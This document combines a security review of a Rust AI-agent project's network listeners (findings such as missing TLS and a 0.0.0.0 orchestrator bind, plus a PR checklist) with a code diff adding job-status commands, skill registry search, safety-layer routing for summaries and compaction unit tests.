| Webhook shared secret | Yes | HTTP webhook (`ct_eq` comparison) | `src/channels/http.rs``webhook_handler()` |
| Per-job bearer token | Yes | Orchestrator worker API | `src/orchestrator/auth.rs``TokenStore::validate()` |
| OAuth callback | N/A | CLI OAuth flow (no auth, loopback-only) | `src/cli/oauth_defaults.rs``bind_callback_listener()` |
| Sandbox proxy | N/A | No auth (loopback-only, ephemeral) | `src/sandbox/proxy/http.rs``SandboxProxy::start()` |
---
## Known Security Findings
### Open
#### F-2. No TLS at the application layer
**Severity:** Low (for local deployment)
**Details:** None of the listeners terminate TLS. All communication is plain HTTP.
**Mitigation:** The web gateway and OAuth callback bind to loopback by default. For production, users are expected to front the gateway with a reverse proxy (nginx, Caddy) or tunnel (Cloudflare, ngrok) that provides TLS.
**Recommendation:** Document the requirement for a TLS-terminating reverse proxy in deployment guides.
#### F-3. Orchestrator binds to `0.0.0.0` on Linux
**Severity:** Medium
**Location:** `src/orchestrator/api.rs` — platform-conditional bind in `OrchestratorApi::start()`
**Details:** On Linux, the orchestrator API binds to all interfaces because Docker containers reach the host via the bridge gateway (`172.17.0.1`), not loopback. This means the API is reachable from any network interface on the host.
**Mitigation:** All `/worker/*` endpoints require per-job bearer tokens (constant-time, cryptographically random). The `/health` endpoint is the only unauthenticated route and returns only `"ok"`. Firewall rules should block external access to port 50051.
**Recommendation:** Document firewall requirements for Linux deployments. Consider binding to the Docker bridge IP (`172.17.0.1`) instead of `0.0.0.0`.
#### F-6. WebSocket/SSE connection limit
**Severity:** Info
**Details:** The `SseManager` enforces a hard limit of **100 concurrent connections** (`MAX_CONNECTIONS` constant in `src/channels/web/sse.rs`). Both SSE subscribers and WebSocket connections share this counter. When exceeded, new WebSocket upgrades are rejected with a warning log and the connection is immediately closed.
**Reference:** `src/channels/web/sse.rs``MAX_CONNECTIONS`, `src/channels/web/ws.rs``handle_ws_connection()` early return
#### F-7. Orchestrator API has no rate limiting
**Severity:** Low
**Details:** The orchestrator API has no request-rate throttling. A compromised container could spam authenticated endpoints (e.g., `/worker/{job_id}/llm/complete`) to drive up LLM costs or degrade service for other jobs.
**Mitigation:** Tokens are scoped per-job, limiting blast radius. Container execution is time-bounded by the sandbox timeout, which caps the abuse window.
**Recommendation:** Consider adding per-token rate limiting on the LLM proxy endpoints.
#### F-8. Orchestrator API has no graceful shutdown
**Severity:** Info
**Details:** The orchestrator calls `axum::serve(listener, router).await?` without `.with_graceful_shutdown()`. In-flight requests (including LLM proxy calls) may be interrupted during process shutdown.
**Reference:** `src/orchestrator/api.rs``OrchestratorApi::start()`
### Resolved / Mitigated
<details>
<summary>Resolved and mitigated findings (click to expand)</summary>
#### F-1. ~~Webhook secret comparison is not constant-time~~ (Resolved)
**Severity:** Low
**Location:** `src/channels/http.rs``webhook_handler()`
**Status:** Resolved — webhook secret now uses `subtle::ConstantTimeEq` (`ct_eq`), consistent with web gateway and orchestrator auth.
#### F-4. ~~HTTP webhook server binds to `0.0.0.0` by default~~ (Mitigated)
**Severity:** Low
**Location:** `src/config.rs`, `src/main.rs`
**Status:** Mitigated — a `tracing::warn!` is now emitted at startup when the webhook server binds to an unspecified address (`0.0.0.0` or `::`), advising operators to set `HTTP_HOST=127.0.0.1` to restrict to localhost. The default bind address remains `0.0.0.0`, so webhook exposure is still controlled by operator configuration and external network controls (firewalls, ingress rules).
#### F-5. ~~Missing security headers on web gateway~~ (Mitigated)
**Severity:** Low
**Status:** Mitigated — `X-Content-Type-Options: nosniff` and `X-Frame-Options: DENY` are now set on all gateway responses via `SetResponseHeaderLayer::if_not_present`. Layer ordering ensures these headers are applied even to error responses generated by inner layers (e.g., `DefaultBodyLimit` 413 rejections).
</details>
---
## Review Checklist for Network Changes
Use this checklist for any PR that adds or modifies network-facing code.
### New Listener
- [ ] **Bind address**: Does it bind to loopback (`127.0.0.1`) or all interfaces (`0.0.0.0`)? Justify if `0.0.0.0`.
- [ ] **Port configuration**: Is the port configurable via env var? Is a sensible default set?
- [ ] **Authentication**: Is auth required? If yes, is it constant-time? If no, why not?
- [ ] **Rate limiting**: Is there a rate limiter? What are the limits?
- [ ] **Body size limit**: Is `DefaultBodyLimit` (or equivalent) set?
- [ ] **Content-Type validation**: Does the handler validate Content-Type (e.g., via axum `Json<T>` extractor)?
- [ ] **Graceful shutdown**: Does the listener support graceful shutdown via oneshot or similar?
- [ ] **Inventory update**: Is this document updated with the new listener?
### New Route on Existing Listener
- [ ] **Auth layer**: Is the route behind the auth middleware? If public, why?
- [ ] **Input validation**: Are path parameters, query parameters, and body fields validated?
- [ ] **Error responses**: Do error responses avoid leaking internal details?
### Egress (Outbound HTTP)
- [ ] **SSRF protection**: Does the code block private IPs, localhost, and cloud metadata endpoints?
- [ ] **DNS rebinding**: Are resolved IPs checked (not just the hostname)?
- [ ] **Redirect handling**: Are redirects blocked or validated?
- [ ] **Response size**: Is there a max response size?
- [ ] **Timeout**: Is a request timeout set?
- [ ] **Leak detection**: Is the outbound request scanned for secrets?
### Credential Handling
- [ ] **Constant-time comparison**: Are secrets compared with `subtle::ConstantTimeEq`?
- [ ] **No logging**: Are credentials excluded from log messages?
- [ ] **Ephemeral storage**: Are tokens stored in memory only (not persisted)?
- [ ] **Scope**: Are credentials scoped to the minimum necessary (per-job, per-tool)?
- [ ] **Revocation**: Are credentials revoked when no longer needed?
### Container / Sandbox
- [ ] **Capabilities**: Are all capabilities dropped except what's needed?
- [ ] **Filesystem**: Is the root filesystem read-only?
- [ ] **User**: Does the container run as non-root?
- [ ] **Network**: Is network access routed through the proxy?
- [ ] **Timeout**: Is there an execution timeout with forced cleanup?
- [ ] **Output limits**: Are stdout/stderr capped?
+116 -23
View File
@@ -68,6 +68,7 @@ pub struct AgentDeps {
pub workspace: Option<Arc<Workspace>>,
pub extension_manager: Option<Arc<ExtensionManager>>,
pub skill_registry: Option<Arc<std::sync::RwLock<SkillRegistry>>>,
pub skill_catalog: Option<Arc<crate::skills::catalog::SkillCatalog>>,
pub skills_config: SkillsConfig,
pub hooks: Arc<HookRegistry>,
/// Cost enforcement guardrails (daily budget, hourly rate limits).
@@ -85,6 +86,7 @@ pub struct Agent {
pub(super) session_manager: Arc<SessionManager>,
pub(super) context_monitor: ContextMonitor,
pub(super) heartbeat_config: Option<HeartbeatConfig>,
pub(super) hygiene_config: Option<crate::config::HygieneConfig>,
pub(super) routine_config: Option<RoutineConfig>,
}
@@ -93,11 +95,13 @@ impl Agent {
///
/// Optionally accepts pre-created `ContextManager` and `SessionManager` for sharing
/// with external components (job tools, web gateway). Creates new ones if not provided.
#[allow(clippy::too_many_arguments)]
pub fn new(
config: AgentConfig,
deps: AgentDeps,
channels: ChannelManager,
channels: Arc<ChannelManager>,
heartbeat_config: Option<HeartbeatConfig>,
hygiene_config: Option<crate::config::HygieneConfig>,
routine_config: Option<RoutineConfig>,
context_manager: Option<Arc<ContextManager>>,
session_manager: Option<Arc<SessionManager>>,
@@ -120,19 +124,25 @@ impl Agent {
Self {
config,
deps,
channels: Arc::new(channels),
channels,
context_manager,
scheduler,
router: Router::new(),
session_manager,
context_monitor: ContextMonitor::new(),
heartbeat_config,
hygiene_config,
routine_config,
}
}
// Convenience accessors
/// Get the scheduler (for external wiring, e.g. CreateJobTool).
pub fn scheduler(&self) -> Arc<Scheduler> {
Arc::clone(&self.scheduler)
}
pub(super) fn store(&self) -> Option<&Arc<dyn Database>> {
self.deps.store.as_ref()
}
@@ -170,6 +180,10 @@ impl Agent {
self.deps.skill_registry.as_ref()
}
pub(super) fn skill_catalog(&self) -> Option<&Arc<crate::skills::catalog::SkillCatalog>> {
self.deps.skill_catalog.as_ref()
}
/// Select active skills for a message using deterministic prefiltering.
pub(super) fn select_active_skills(
&self,
@@ -354,14 +368,18 @@ impl Agent {
}
});
tracing::info!(
"Heartbeat enabled with {}s interval",
hb_config.interval_secs
);
let hygiene = self
.hygiene_config
.as_ref()
.map(|h| h.to_workspace_config())
.unwrap_or_default();
Some(spawn_heartbeat(
config,
hygiene,
workspace.clone(),
self.cheap_llm().clone(),
self.safety().clone(),
Some(notify_tx),
))
} else {
@@ -389,6 +407,7 @@ impl Agent {
self.llm().clone(),
Arc::clone(workspace),
notify_tx,
Some(self.scheduler.clone()),
));
// Register routine tools
@@ -399,7 +418,7 @@ impl Agent {
// Load initial event cache
engine.refresh_event_cache().await;
// Spawn notification forwarder
// Spawn notification forwarder (mirrors heartbeat pattern)
let channels = self.channels.clone();
tokio::spawn(async move {
while let Some(response) = notify_rx.recv().await {
@@ -409,14 +428,33 @@ impl Agent {
.and_then(|v| v.as_str())
.unwrap_or("default")
.to_string();
let results = channels.broadcast_all(&user, response).await;
for (ch, result) in results {
if let Err(e) = result {
tracing::warn!(
"Failed to broadcast routine notification to {}: {}",
ch,
e
);
let notify_channel = response
.metadata
.get("notify_channel")
.and_then(|v| v.as_str())
.map(|s| s.to_string());
// Try the configured channel first, fall back to
// broadcasting on all channels.
let targeted_ok = if let Some(ref channel) = notify_channel {
channels
.broadcast(channel, &user, response.clone())
.await
.is_ok()
} else {
false
};
if !targeted_ok {
let results = channels.broadcast_all(&user, response).await;
for (ch, result) in results {
if let Err(e) = result {
tracing::warn!(
"Failed to broadcast routine notification to {}: {}",
ch,
e
);
}
}
}
}
@@ -491,21 +529,41 @@ impl Agent {
Ok(crate::hooks::HookOutcome::Continue {
modified: Some(new_content),
}) => {
let _ = self
if let Err(e) = self
.channels
.respond(&message, OutgoingResponse::text(new_content))
.await;
.await
{
tracing::error!(
channel = %message.channel,
error = %e,
"Failed to send response to channel"
);
}
}
_ => {
let _ = self
if let Err(e) = self
.channels
.respond(&message, OutgoingResponse::text(response))
.await;
.await
{
tracing::error!(
channel = %message.channel,
error = %e,
"Failed to send response to channel"
);
}
}
}
}
Ok(Some(_)) => {
Ok(Some(empty)) => {
// Empty response, nothing to send (e.g. approval handled via send_status)
tracing::debug!(
channel = %message.channel,
user = %message.user_id,
empty_len = empty.len(),
"Suppressed empty response (not sent to channel)"
);
}
Ok(None) => {
// Shutdown signal received (/quit, /exit, /shutdown)
@@ -514,10 +572,17 @@ impl Agent {
}
Err(e) => {
tracing::error!("Error handling message: {}", e);
let _ = self
if let Err(send_err) = self
.channels
.respond(&message, OutgoingResponse::text(format!("Error: {}", e)))
.await;
.await
{
tracing::error!(
channel = %message.channel,
error = %send_err,
"Failed to send error response to channel"
);
}
}
}
@@ -547,6 +612,19 @@ impl Agent {
}
async fn handle_message(&self, message: &IncomingMessage) -> Result<Option<String>, Error> {
// Set message tool context for this turn (current channel and target)
// For Signal, use signal_target from metadata (group:ID or phone number),
// otherwise fall back to user_id
let target = message
.metadata
.get("signal_target")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.unwrap_or_else(|| message.user_id.clone());
self.tools()
.set_message_tool_context(Some(message.channel.clone()), Some(target))
.await;
// Parse submission type first
let mut submission = SubmissionParser::parse(&message.content);
@@ -644,6 +722,13 @@ impl Agent {
Submission::Heartbeat => self.process_heartbeat().await,
Submission::Summarize => self.process_summarize(session, thread_id).await,
Submission::Suggest => self.process_suggest(session, thread_id).await,
Submission::JobStatus { job_id } => {
self.process_job_status(&message.user_id, job_id.as_deref())
.await
}
Submission::JobCancel { job_id } => {
self.process_job_cancel(&message.user_id, &job_id).await
}
Submission::Quit => return Ok(None),
Submission::SwitchThread { thread_id: target } => {
self.process_switch_thread(message, target).await
@@ -674,7 +759,15 @@ impl Agent {
// Convert SubmissionResult to response string
match result? {
SubmissionResult::Response { content } => Ok(Some(content)),
SubmissionResult::Response { content } => {
// Suppress silent replies (e.g. from group chat "nothing to say" responses)
if crate::llm::is_silent_reply(&content) {
tracing::debug!("Suppressing silent reply token");
Ok(None)
} else {
Ok(Some(content))
}
}
SubmissionResult::Ok { message } => Ok(message),
SubmissionResult::Error { message } => Ok(Some(format!("Error: {}", message))),
SubmissionResult::Interrupted => Ok(Some("Interrupted.".into())),
+289 -35
View File
@@ -12,8 +12,20 @@ use crate::agent::session::Session;
use crate::agent::submission::SubmissionResult;
use crate::agent::{Agent, MessageIntent};
use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobState;
use crate::error::Error;
use crate::llm::ChatMessage;
use crate::llm::{ChatMessage, Reasoning};
/// Format a count with a suffix, using K/M abbreviations for large numbers.
fn format_count(n: u64, suffix: &str) -> String {
if n >= 1_000_000 {
format!("{:.1}M {}", n as f64 / 1_000_000.0, suffix)
} else if n >= 1_000 {
format!("{:.1}K {}", n as f64 / 1_000.0, suffix)
} else {
format!("{} {}", n, suffix)
}
}
impl Agent {
/// Handle job-related intents without turn tracking.
@@ -73,36 +85,23 @@ impl Agent {
description: String,
category: Option<String>,
) -> Result<String, Error> {
// Create job context
let job_id = self
.context_manager
.create_job_for_user(user_id, &title, &description)
.scheduler
.dispatch_job(user_id, &title, &description, None)
.await?;
// Update category if provided
if let Some(cat) = category {
self.context_manager
// Set the dedicated category field (not stored in metadata)
if let Some(cat) = category
&& let Err(e) = self
.context_manager
.update_context(job_id, |ctx| {
ctx.category = Some(cat);
})
.await?;
}
// Persist new job to database (fire-and-forget)
if let Some(store) = self.store()
&& let Ok(ctx) = self.context_manager.get_context(job_id).await
.await
{
let store = store.clone();
tokio::spawn(async move {
if let Err(e) = store.save_job(&ctx).await {
tracing::warn!("Failed to persist new job {}: {}", job_id, e);
}
});
tracing::warn!(job_id = %job_id, "Failed to set job category: {}", e);
}
// Schedule for execution
self.scheduler.schedule(job_id).await?;
Ok(format!(
"Created job: {}\nID: {}\n\nThe job has been scheduled and is now running.",
title, job_id
@@ -119,6 +118,22 @@ impl Agent {
let uuid = Uuid::parse_str(&id)
.map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?;
// Try DB first for persistent state, fall back to ContextManager.
if let Some(store) = self.store()
&& let Ok(Some(ctx)) = store.get_job(uuid).await
{
return Ok(format!(
"Job: {}\nStatus: {:?}\nCreated: {}\nStarted: {}\nActual cost: {}",
ctx.title,
ctx.state,
ctx.created_at.format("%Y-%m-%d %H:%M:%S"),
ctx.started_at
.map(|t| t.format("%Y-%m-%d %H:%M:%S").to_string())
.unwrap_or_else(|| "Not started".to_string()),
ctx.actual_cost
));
}
let ctx = self.context_manager.get_context(uuid).await?;
if ctx.user_id != user_id {
return Err(crate::error::JobError::NotFound { id: uuid }.into());
@@ -136,10 +151,38 @@ impl Agent {
))
}
None => {
// Show summary of all jobs
// Show summary from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let mut total = 0;
let mut in_progress = 0;
let mut completed = 0;
let mut failed = 0;
let mut stuck = 0;
if let Ok(s) = store.agent_job_summary().await {
total += s.total;
in_progress += s.in_progress;
completed += s.completed;
failed += s.failed;
stuck += s.stuck;
}
if let Ok(s) = store.sandbox_job_summary().await {
total += s.total;
in_progress += s.running;
completed += s.completed;
failed += s.failed + s.interrupted;
}
return Ok(format!(
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
total, in_progress, completed, failed, stuck
));
}
// Fallback to ContextManager if no DB.
let summary = self.context_manager.summary_for(user_id).await;
Ok(format!(
"Jobs summary:\n Total: {}\n In Progress: {}\n Completed: {}\n Failed: {}\n Stuck: {}",
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
summary.total,
summary.in_progress,
summary.completed,
@@ -161,6 +204,15 @@ impl Agent {
self.scheduler.stop(uuid).await?;
// Also update DB so the Jobs tab reflects cancellation immediately.
if let Some(store) = self.store()
&& let Err(e) = store
.update_job_status(uuid, JobState::Cancelled, Some("Cancelled by user"))
.await
{
tracing::warn!(job_id = %uuid, "Failed to persist cancellation to DB: {}", e);
}
Ok(format!("Job {} has been cancelled.", job_id))
}
@@ -169,21 +221,49 @@ impl Agent {
user_id: &str,
_filter: Option<String>,
) -> Result<String, Error> {
let jobs = self.context_manager.all_jobs_for(user_id).await;
// List from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let agent_jobs = match store.list_agent_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list agent jobs: {}", e);
Vec::new()
}
};
let sandbox_jobs = match store.list_sandbox_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list sandbox jobs: {}", e);
Vec::new()
}
};
if agent_jobs.is_empty() && sandbox_jobs.is_empty() {
return Ok("No jobs found.".to_string());
}
let mut output = String::from("Jobs:\n");
for j in &agent_jobs {
output.push_str(&format!(" {} - {} ({})\n", j.id, j.title, j.status));
}
for j in &sandbox_jobs {
output.push_str(&format!(" {} - {} ({})\n", j.id, j.task, j.status));
}
return Ok(output);
}
// Fallback to ContextManager if no DB.
let jobs = self.context_manager.all_jobs_for(user_id).await;
if jobs.is_empty() {
return Ok("No jobs found.".to_string());
}
let mut output = String::from("Jobs:\n");
for job_id in jobs {
if let Ok(ctx) = self.context_manager.get_context(job_id).await
&& ctx.user_id == user_id
{
if let Ok(ctx) = self.context_manager.get_context(job_id).await {
output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state));
}
}
Ok(output)
}
@@ -222,6 +302,33 @@ impl Agent {
}
}
/// Show job status inline — either all jobs (no id) or a specific job.
pub(super) async fn process_job_status(
&self,
user_id: &str,
job_id: Option<&str>,
) -> Result<SubmissionResult, Error> {
match self
.handle_check_status(user_id, job_id.map(|s| s.to_string()))
.await
{
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Job status error: {}", e))),
}
}
/// Cancel a job by ID.
pub(super) async fn process_job_cancel(
&self,
user_id: &str,
job_id: &str,
) -> Result<SubmissionResult, Error> {
match self.handle_cancel_job(user_id, job_id).await {
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Cancel error: {}", e))),
}
}
/// Trigger a manual heartbeat check.
pub(super) async fn process_heartbeat(&self) -> Result<SubmissionResult, Error> {
let Some(workspace) = self.workspace() else {
@@ -232,8 +339,10 @@ impl Agent {
let runner = crate::agent::HeartbeatRunner::new(
crate::agent::HeartbeatConfig::default(),
crate::workspace::hygiene::HygieneConfig::default(),
workspace.clone(),
self.llm().clone(),
self.safety().clone(),
);
match runner.check_heartbeat().await {
@@ -294,10 +403,11 @@ impl Agent {
.with_max_tokens(512)
.with_temperature(0.3);
match self.llm().complete(request).await {
Ok(response) => Ok(SubmissionResult::response(format!(
let reasoning = Reasoning::new(self.llm().clone(), self.safety().clone());
match reasoning.complete(request).await {
Ok((text, _usage)) => Ok(SubmissionResult::response(format!(
"Thread Summary:\n\n{}",
response.content.trim()
text.trim()
))),
Err(e) => Ok(SubmissionResult::error(format!("Summarize failed: {}", e))),
}
@@ -341,10 +451,11 @@ impl Agent {
.with_max_tokens(512)
.with_temperature(0.5);
match self.llm().complete(request).await {
Ok(response) => Ok(SubmissionResult::response(format!(
let reasoning = Reasoning::new(self.llm().clone(), self.safety().clone());
match reasoning.complete(request).await {
Ok((text, _usage)) => Ok(SubmissionResult::response(format!(
"Suggested Next Steps:\n\n{}",
response.content.trim()
text.trim()
))),
Err(e) => Ok(SubmissionResult::error(format!("Suggest failed: {}", e))),
}
@@ -382,6 +493,10 @@ impl Agent {
" /thread <id> Switch to thread\n",
" /resume <id> Resume from checkpoint\n",
"\n",
"Skills:\n",
" /skills List installed skills\n",
" /skills search <q> Search ClawHub registry\n",
"\n",
"Agent:\n",
" /heartbeat Run heartbeat check\n",
" /summarize Summarize current thread\n",
@@ -414,6 +529,22 @@ impl Agent {
))
}
"skills" => {
if args.first().map(|s| s.as_str()) == Some("search") {
let query = args[1..].join(" ");
if query.is_empty() {
return Ok(SubmissionResult::error("Usage: /skills search <query>"));
}
self.handle_skills_search(&query).await
} else if args.is_empty() {
self.handle_skills_list().await
} else {
Ok(SubmissionResult::error(
"Usage: /skills or /skills search <query>",
))
}
}
"model" => {
let current = self.llm().active_model_name();
@@ -484,6 +615,129 @@ impl Agent {
}
}
/// List installed skills.
async fn handle_skills_list(&self) -> Result<SubmissionResult, Error> {
let Some(registry) = self.skill_registry() else {
return Ok(SubmissionResult::error("Skills system not enabled."));
};
let guard = match registry.read() {
Ok(g) => g,
Err(e) => {
return Ok(SubmissionResult::error(format!(
"Skill registry lock error: {}",
e
)));
}
};
let skills = guard.skills();
if skills.is_empty() {
return Ok(SubmissionResult::response(
"No skills installed.\n\nUse /skills search <query> to find skills on ClawHub.",
));
}
let mut out = String::from("Installed skills:\n\n");
for s in skills {
let desc = if s.manifest.description.chars().count() > 60 {
let truncated: String = s.manifest.description.chars().take(57).collect();
format!("{}...", truncated)
} else {
s.manifest.description.clone()
};
out.push_str(&format!(
" {:<24} v{:<10} [{}] {}\n",
s.manifest.name, s.manifest.version, s.trust, desc,
));
}
out.push_str("\nUse /skills search <query> to find more on ClawHub.");
Ok(SubmissionResult::response(out))
}
/// Search ClawHub for skills.
async fn handle_skills_search(&self, query: &str) -> Result<SubmissionResult, Error> {
let catalog = match self.skill_catalog() {
Some(c) => c,
None => {
return Ok(SubmissionResult::error("Skill catalog not available."));
}
};
let outcome = catalog.search(query).await;
// Enrich top results with detail data (stars, downloads, owner)
let mut entries = outcome.results;
catalog.enrich_search_results(&mut entries, 5).await;
let mut out = format!("ClawHub results for \"{}\":\n\n", query);
if entries.is_empty() {
if let Some(ref err) = outcome.error {
out.push_str(&format!(" (registry error: {})\n", err));
} else {
out.push_str(" No results found.\n");
}
} else {
for entry in &entries {
let owner_str = entry
.owner
.as_deref()
.map(|o| format!(" by {}", o))
.unwrap_or_default();
let stats_parts: Vec<String> = [
entry.stars.map(|s| format!("{} stars", s)),
entry.downloads.map(|d| format_count(d, "downloads")),
]
.into_iter()
.flatten()
.collect();
let stats_str = if stats_parts.is_empty() {
String::new()
} else {
format!(" {}", stats_parts.join(" "))
};
out.push_str(&format!(
" {:<24} v{:<10}{}{}\n",
entry.name, entry.version, owner_str, stats_str,
));
if !entry.description.is_empty() {
out.push_str(&format!(" {}\n\n", entry.description));
}
}
}
// Show matching installed skills
if let Some(registry) = self.skill_registry()
&& let Ok(guard) = registry.read()
{
let query_lower = query.to_lowercase();
let matches: Vec<_> = guard
.skills()
.iter()
.filter(|s| {
s.manifest.name.to_lowercase().contains(&query_lower)
|| s.manifest.description.to_lowercase().contains(&query_lower)
})
.collect();
if !matches.is_empty() {
out.push_str(&format!("Installed skills matching \"{}\":\n", query));
for s in &matches {
out.push_str(&format!(
" {:<24} v{:<10} [{}]\n",
s.manifest.name, s.manifest.version, s.trust,
));
}
}
}
Ok(SubmissionResult::response(out))
}
/// Handle legacy command routing from the Router (job commands that go through
/// process_user_input -> router -> handle_job_or_command -> here).
pub(super) async fn handle_command(
+506 -7
View File
@@ -12,7 +12,8 @@ use chrono::Utc;
use crate::agent::context_monitor::{CompactionStrategy, ContextBreakdown};
use crate::agent::session::Thread;
use crate::error::Error;
use crate::llm::{ChatMessage, CompletionRequest, LlmProvider};
use crate::llm::{ChatMessage, CompletionRequest, LlmProvider, Reasoning};
use crate::safety::SafetyLayer;
use crate::workspace::Workspace;
/// Result of a compaction operation.
@@ -33,12 +34,13 @@ pub struct CompactionResult {
/// Compacts conversation context to stay within limits.
pub struct ContextCompactor {
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
}
impl ContextCompactor {
/// Create a new context compactor.
pub fn new(llm: Arc<dyn LlmProvider>) -> Self {
Self { llm }
pub fn new(llm: Arc<dyn LlmProvider>, safety: Arc<SafetyLayer>) -> Self {
Self { llm, safety }
}
/// Compact a thread's context using the given strategy.
@@ -105,7 +107,16 @@ impl ContextCompactor {
// Write to workspace if available
let summary_written = if let Some(ws) = workspace {
self.write_summary_to_workspace(ws, &summary).await.is_ok()
match self.write_summary_to_workspace(ws, &summary).await {
Ok(()) => true,
Err(e) => {
tracing::warn!(
"Compaction summary write failed (turns will still be truncated): {}",
e
);
false
}
}
} else {
false
};
@@ -157,7 +168,16 @@ impl ContextCompactor {
let content = format_turns_for_storage(old_turns);
// Write to workspace
let written = self.write_context_to_workspace(ws, &content).await.is_ok();
let written = match self.write_context_to_workspace(ws, &content).await {
Ok(()) => true,
Err(e) => {
tracing::warn!(
"Compaction context write failed (turns will still be truncated): {}",
e
);
false
}
};
// Truncate
thread.truncate_turns(keep_recent);
@@ -213,8 +233,9 @@ Be brief but capture all important details. Use bullet points."#,
.with_max_tokens(1024)
.with_temperature(0.3);
let response = self.llm.complete(request).await?;
Ok(response.content)
let reasoning = Reasoning::new(self.llm.clone(), self.safety.clone());
let (text, _) = reasoning.complete(request).await?;
Ok(text)
}
/// Write a summary to the workspace daily log.
@@ -321,4 +342,482 @@ mod tests {
assert_eq!(partial.turns_removed, 0);
assert!(!partial.summary_written);
}
// === QA Plan - Compaction strategy tests ===
use crate::agent::context_monitor::CompactionStrategy;
use crate::config::SafetyConfig;
use crate::safety::SafetyLayer;
use crate::testing::StubLlm;
/// Helper: build a `ContextCompactor` with the given `StubLlm`.
fn make_compactor(llm: Arc<StubLlm>) -> ContextCompactor {
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
ContextCompactor::new(llm, safety)
}
/// Helper: build a thread with `n` completed turns.
/// Turn `i` has user_input "msg-{i}" and response "resp-{i}".
fn make_thread(n: usize) -> Thread {
let mut thread = Thread::new(Uuid::new_v4());
for i in 0..n {
thread.start_turn(format!("msg-{}", i));
thread.complete_turn(format!("resp-{}", i));
}
thread
}
// ------------------------------------------------------------------
// 1. compact_truncate keeps last N turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keeps_last_n() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
assert_eq!(thread.turns.len(), 10);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
// Only 3 turns remain
assert_eq!(thread.turns.len(), 3);
// They are the most recent ones (msg-7, msg-8, msg-9)
assert_eq!(thread.turns[0].user_input, "msg-7");
assert_eq!(thread.turns[1].user_input, "msg-8");
assert_eq!(thread.turns[2].user_input, "msg-9");
// Turn numbers are re-indexed to 0, 1, 2
assert_eq!(thread.turns[0].turn_number, 0);
assert_eq!(thread.turns[1].turn_number, 1);
assert_eq!(thread.turns[2].turn_number, 2);
// Result metadata
assert_eq!(result.turns_removed, 7);
assert!(!result.summary_written);
assert!(result.summary.is_none());
// Tokens should be reported (before > 0 since we had content)
assert!(result.tokens_before > 0);
assert!(result.tokens_after > 0);
assert!(result.tokens_before > result.tokens_after);
}
// ------------------------------------------------------------------
// 2. compact_truncate with fewer turns than limit (no-op)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_with_fewer_turns_than_limit() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(2);
let original_inputs: Vec<String> =
thread.turns.iter().map(|t| t.user_input.clone()).collect();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// All turns preserved
assert_eq!(thread.turns.len(), 2);
assert_eq!(thread.turns[0].user_input, original_inputs[0]);
assert_eq!(thread.turns[1].user_input, original_inputs[1]);
// No turns removed
assert_eq!(result.turns_removed, 0);
assert!(!result.summary_written);
assert!(result.summary.is_none());
}
// ------------------------------------------------------------------
// 3. compact_truncate with empty turns list
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_empty_turns() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = Thread::new(Uuid::new_v4());
assert!(thread.turns.is_empty());
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed on empty turns");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 0);
assert_eq!(result.tokens_before, 0);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 4. compact_with_summary produces summary turn via StubLlm
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_produces_summary_turn() {
let canned_summary =
"- User greeted the agent\n- Agent responded warmly\n- Five exchanges completed";
let llm = Arc::new(StubLlm::new(canned_summary));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 2 },
None,
)
.await
.expect("compact with summary should succeed");
// Should keep only 2 recent turns
assert_eq!(thread.turns.len(), 2);
// The kept turns should be the last two (msg-3, msg-4)
assert_eq!(thread.turns[0].user_input, "msg-3");
assert_eq!(thread.turns[1].user_input, "msg-4");
// Result should report the summary
assert_eq!(result.turns_removed, 3);
assert!(result.summary.is_some());
let summary = result.summary.unwrap();
assert!(summary.contains("User greeted the agent"));
assert!(summary.contains("Five exchanges completed"));
// summary_written should be false since no workspace was provided
assert!(!result.summary_written);
// StubLlm should have been called exactly once for the summary
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 5. compact_with_summary: LLM failure returns error (does not corrupt thread)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_llm_failure() {
let llm = Arc::new(StubLlm::failing("broken-llm"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(8);
let original_len = thread.turns.len();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 3 },
None,
)
.await;
// The LLM failure should propagate as an error
assert!(result.is_err());
// The thread should NOT have been modified (turns not truncated
// on failure, since the error occurs before truncation)
assert_eq!(thread.turns.len(), original_len);
}
// ------------------------------------------------------------------
// 6. compact_with_summary: fewer turns than keep_recent is a no-op
// ------------------------------------------------------------------
#[tokio::test]
